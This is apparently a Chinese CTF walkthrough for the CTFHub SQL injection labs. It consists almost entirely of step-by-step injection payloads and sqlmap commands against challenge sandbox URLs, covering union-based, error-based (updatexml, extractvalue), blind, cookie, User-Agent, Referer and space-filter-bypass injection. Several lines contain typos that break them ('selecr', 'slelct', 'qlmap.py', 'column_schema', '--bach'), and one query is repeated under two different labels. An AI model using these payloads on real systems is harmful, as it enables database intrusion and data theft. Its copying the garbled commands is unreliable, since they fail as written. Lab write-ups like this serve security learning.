整数型
输入1发现有回显
发现and1=1有回显1=2没有
判断字段数
1 order by 2
确定回显点
-1 union select 1,2
查看数据库名称
-1 union selecr 1,database()
查看数据库名
-1 union slelct group_concat(schema_name)from information_schema.schemata
查看表名
-1 union slelct group_concat(table_schema)from information_schema.tables where table_schema='sqli'
查看列名
-1 union slelct group_concat(column_schema)from information_schema.columns where table_schema='sqli'and table_name='flag'
查看字段内容
-1 union select 1,group_concat(flag)from flag
字符型
输入1试试
判断字符型(提示也给了)
判断字段数
1' order by 2
判断回显的
-1' union select 1,2
判断数据库
?id=-1' union select 1,database()--+
我们可以手工注入也可以sqlmap我这里选择sqlmap注入(问就是快)
查看数据库
python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' --dbs
查看表名
python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1'-D sqli --tables
查看字段名
python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' -D sqli -T flag --columns
查看数据
python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' -D sqli -T flag -C flag --dump
报错注入
1'或者1 order by 1
显示错误信息决定使用报错注入
-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)
查库名
?id=-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)
查表名
?id=-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)
查字段名我当时用这个函数查不出来,后面换了一个函数
?id=1 and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),'~'))--
查字段
?id=1 and extractvalue(1,concat('~',(select concat(flag) from flag),'~'))--
布尔盲注
查库
手注太麻烦了
python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1 --current-db --bach
--current-db 当前数据库
--bach 自动确认
查表
python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
查字段
python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1 -D sqli -T --columns
查数据
python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
时间盲注
查库
python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 --current-db --batch
查表
python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
查字段
python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
查数据
python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
mysql结构
查库
python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -dbs
查表
python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch
查字段
python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli -T bvhsavytfi --columns --batch
查数据
python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli -T bvhsavytfi -C izikznwmwr --dump --batch
Cookie注入
抓包试试
判断字段数
order by 2
判断回显点
union select 1,2
查看库
union select 1,database()
查表
id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli';
查字段
id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='xclduyowof';
查数据
id=-1 union select 1,oqmyobxboo from xclduyowof;
UA注入
抓包试试
查字段数
order by 2
判断回显点
union select 1,2
查看库
union select 1,database()
查表
-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli';
查字段
-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='xdagkcfgab';
查数据
-1 union select 1,piabyfircl from xdagkcfgab
Refer注入
查库
-1 union select 1,database()
查表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查列
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ocwoheektd'
查数据
-1 union select 1,group_concat(fscpxlznjk) from ocwoheektd
过滤空格
输入空格显示
查看字段数
?id=1/**/order/**/by/**/2#
查库
?id=-1/**/union/**/select/**/1,database()#
查表
?id=-1/**/union/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='sqli'#
查列
?id=-1/**/union/**/select/**/1,group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='erbwzbvtbj'#
查数据
?id=-1/**/union/**/select/**/1,txgmuvsfjk/**/from/**/erbwzbvtbj#